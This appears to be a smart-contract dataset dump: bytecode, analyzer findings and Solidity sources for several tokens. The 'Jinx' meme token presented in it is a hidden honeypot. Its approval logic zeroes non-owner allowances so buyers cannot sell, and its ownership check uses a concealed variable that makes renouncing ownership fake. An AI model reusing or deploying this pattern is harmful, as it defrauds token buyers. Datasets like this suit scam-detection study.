001600160a01b0390941660009081529190930160205260409020919091555050565b610995600080516020610c5083398151915282600161080b565b604080516001600160a01b038316815290517f3b4a40cccf2058c593542587329dd385be4f0b588db5471fbd9598e56dd7093a9181900360200190a150565b60008281526002602090815260408083206001600160a01b0385168452600181019092529091205480610a3b576040805162461bcd60e51b815260206004820152600a6024820152691393d517d25397d4d15560b21b604482015290519081900360640190fd5b6001600160a01b0383166000908152600183016020526040812055600282018054600019019055815415610b1d57600082600001836002015481548110610a7e57fe5b6000918252602090912001546001600160a01b03908116915084168114610aee5780836000016001840381548110610ab257fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b03948516179055918316815260018501909152604090208290555b8254839080610af957fe5b600082815260209020810160001990810180546001600160a01b0319169055019055505b50505050565b600081815260026020819052604090912080549181015460609214610b80576040805162461bcd60e51b815260206004820152600e60248201526d1393d517d350525395105253915160921b604482015290519081900360640190fd5b60008381526002602090815260409182902080548351818402810184019094528084529091830182828015610bde57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610bc0575b5050505050915050919050565b60008281526002602090815260408083206001600160a01b0385168452600101909152902054151592915050565b600090815260026020819052604090912001549056feadb015e583a352dc0d8f1644b3a81d502caf8973247a6bf8ce2bec99d8048334ae79206ff8d89355a31a27bc7df0c55f5fe15ce3ae94530629cd19b6712ea1f8a26469706673582212201c5a83f292e660775159919a4177e87bd863f26d659943bcca3aa361aaacfabc64736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}]}}
| 7,955 |
0xc2b09b4556d45e6da901e040c5d1ad2387a1fc62
|
/*
🚨 JINX 🚨
STEALTH LAUNCH🚀: 11/26 21:00 EST - 23:00 EST
https://t.me/jinxtoken
$JINX is a meme token based off of the popular League of Legends character and recent Netflix hit series Arcane. Come join us as JINX riders her Super Mega Death Rocket to the moon! 📈
ANTIBOT/ANTISNIPE MEASURES ✅
TOKENOMICS
Supply: 1,000,000,000
Marketing : 6%
Buyback: 3%
Dev: 3%
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Jinx is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1* 10**9* 10**18;
string private _name = ' Jinx Token ';
string private _symbol = 'JINX';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122087be6f4ffd2c0df6551071a85ea0005196d180c8fab815dcbb2888d16c9de8b464736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,956 |
0x37bb1a64d81d6373a467a0683ba709c2998086cb
|
pragma solidity ^0.4.23;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/token/FOLIToken.sol
// ----------------------------------------------------------------------------
// FOLIToken - ERC20 Token
//
// The MIT Licence.
// ----------------------------------------------------------------------------
contract FOLIToken is PausableToken, BurnableToken {
string public symbol = "FOLI";
string public name = "Flower of Life Token";
uint8 public decimals = 18;
uint public constant INITIAL_SUPPLY = 120 * 10 ** 8 * 10 ** 18;
function FOLIToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function () payable public {
revert();
}
}
|
0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461010b578063095ea7b31461019557806318160ddd146101cd57806323b872dd146101f45780632ff2e9dc1461021e578063313ce567146102335780633f4ba83a1461025e57806342966c68146102755780635c975abb1461028d57806366188463146102a257806370a08231146102c6578063715018a6146102e75780638456cb59146102fc5780638da5cb5b1461031157806395d89b4114610342578063a9059cbb14610357578063d73dd6231461037b578063dd62ed3e1461039f578063f2fde38b146103c6575b600080fd5b34801561011757600080fd5b506101206103e7565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015a578181015183820152602001610142565b50505050905090810190601f1680156101875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a157600080fd5b506101b9600160a060020a0360043516602435610475565b604080519115158252519081900360200190f35b3480156101d957600080fd5b506101e26104a0565b60408051918252519081900360200190f35b34801561020057600080fd5b506101b9600160a060020a03600435811690602435166044356104a6565b34801561022a57600080fd5b506101e26104d3565b34801561023f57600080fd5b506102486104e3565b6040805160ff9092168252519081900360200190f35b34801561026a57600080fd5b506102736104ec565b005b34801561028157600080fd5b50610273600435610564565b34801561029957600080fd5b506101b9610571565b3480156102ae57600080fd5b506101b9600160a060020a0360043516602435610581565b3480156102d257600080fd5b506101e2600160a060020a03600435166105a5565b3480156102f357600080fd5b506102736105c0565b34801561030857600080fd5b5061027361062e565b34801561031d57600080fd5b506103266106ab565b60408051600160a060020a039092168252519081900360200190f35b34801561034e57600080fd5b506101206106ba565b34801561036357600080fd5b506101b9600160a060020a0360043516602435610715565b34801561038757600080fd5b506101b9600160a060020a0360043516602435610739565b3480156103ab57600080fd5b506101e2600160a060020a036004358116906024351661075d565b3480156103d257600080fd5b50610273600160a060020a0360043516610788565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561046d5780601f106104425761010080835404028352916020019161046d565b820191906000526020600020905b81548152906001019060200180831161045057829003601f168201915b505050505081565b60035460009060a060020a900460ff161561048f57600080fd5b61049983836107a8565b9392505050565b60015490565b60035460009060a060020a900460ff16156104c057600080fd5b6104cb84848461080e565b949350505050565b6b26c62ad77dc602dae000000081565b60065460ff1681565b600354600160a060020a0316331461050357600080fd5b60035460a060020a900460ff16151561051b57600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b61056e3382610985565b50565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561059b57600080fd5b6104998383610a86565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146105d757600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a0316331461064557600080fd5b60035460a060020a900460ff161561065c57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6004805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561046d5780601f106104425761010080835404028352916020019161046d565b60035460009060a060020a900460ff161561072f57600080fd5b6104998383610b76565b60035460009060a060020a900460ff161561075357600080fd5b6104998383610c57565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461079f57600080fd5b61056e81610cf0565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a038316151561082557600080fd5b600160a060020a03841660009081526020819052604090205482111561084a57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561087a57600080fd5b600160a060020a0384166000908152602081905260409020546108a3908363ffffffff610d6e16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546108d8908363ffffffff610d8016565b600160a060020a0380851660009081526020818152604080832094909455918716815260028252828120338252909152205461091a908363ffffffff610d6e16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600160a060020a0382166000908152602081905260409020548111156109aa57600080fd5b600160a060020a0382166000908152602081905260409020546109d3908263ffffffff610d6e16565b600160a060020a038316600090815260208190526040902055600154610